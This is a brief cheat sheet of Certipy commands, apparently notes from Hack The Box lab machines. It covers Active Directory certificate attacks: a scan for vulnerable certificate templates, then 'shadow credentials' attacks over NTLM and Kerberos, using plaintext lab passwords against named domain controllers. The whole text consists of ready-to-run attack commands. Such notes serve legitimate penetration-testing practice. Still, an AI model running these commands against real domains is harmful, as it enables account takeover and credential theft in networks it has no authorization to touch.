Certipy

Find Vulnerbility

certipy find -u cert_admin -p "Abc123456@" -dc-ip 10.10.11.72 -vulnerable

Shadow Creds

# NTLM
certipy-ad shadow auto -u '[email protected]' -p 'prometheusx-303'  -account 'WINRM_SVC'  -dc-ip '10.10.11.69'

# KERBEROS
certipy-ad shadow auto -u [email protected] -k -dc-host DC.hercules.htb -account 'stephen.m'